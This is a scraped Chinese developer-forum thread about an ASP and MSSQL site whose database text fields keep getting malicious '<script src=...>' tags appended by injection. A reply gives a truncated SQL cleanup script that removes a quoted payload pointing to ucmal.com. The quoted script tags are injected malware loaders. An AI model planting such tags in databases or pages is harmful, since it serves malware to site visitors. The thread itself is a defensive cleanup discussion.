MSSql数据库被挂马
现有一个ASP+mssql的网站，被挂马了，将里面一个表中的ntext字段挂马挂马，“<script src=http://木马地址></script>”,的方式是，不断地修改该字段的值，直接加在最后的，时间长了，可以看到该字段中有很多个连续的“<script src=http://木马地址></script>”,也看了网上的一些解决办法，但试了没有，比如说将原来的ID字段已经改成其他名字了，表名也改了，但仍然是一会又被挂上了，而且对传入的ID值也进行了判断，即将原来的
id=request("ID")都 改成了aaa_id=cint(request("ID")),同时将表中的ID字段名改成了aaa_id，还是很快被挂马
真不知如何解决了。
数据库中有很多表中都 有ntext类型的字段，但现在就只发现有一个表中老是被挂马。
这倒底是怎么回事？
怎么回事要看你涉及到这个表的ASP程序
http://topic.csdn.net/u/20090729/14/26381958-0d6e-4b90-bc90-d275e9621f93.html
数据库被注入攻击 所有文本型字下段数据都被加了 <script_src=http://ucmal.com/0.js> </script>
怎么删掉？
SQL code:
--sql 2000解决方法
DECLARE @fieldtype sysname
SET @fieldtype='varchar'
--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
from sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
相关问答：
说来害羞哈，呵呵……
自学编程已经两年多了，还不会查看数据库连接池啊，请大侠们说一下怎样查看呀？
比方说，我用IE和FF和Opera同时以三个用户身份打开本地网站（网站在IIS上，地址如http://127.0.0.1/M ......
由于最近要写一个分页的程序，在网上找了个存储过程；
create procedure add_pp_SqlPager
@sqlstr nvarchar(4000), --查询字符 ......
如何在MSSQL数据导入的时候遇上错误数据跳过?
这个？那你还是用ssis吧。数据导入导出没有控制流
是2000的数据库
2000没什么好的办法
有没有其它的导入工具呢?
自己在前台写代码判断。
路过，用前台� ......
现在作了个系统,数据库使用mysql,但是需要从另一个MSSQL中获得一些基础数据,请教各位,我能不能通过一种方式获得相互的数据,谢谢!
MS SQL server 倒是可以在这架WINODWS 服务器上安装MYSQL的ODBC驱动，然后进行访问� ......
有意者请联系yushan-33@hotmail.com / 18821146311
Microsoft SQL Administrator
Job Description:
A detail oriented Microsoft SQL Administratorwith excellent problem solving, analyti ......
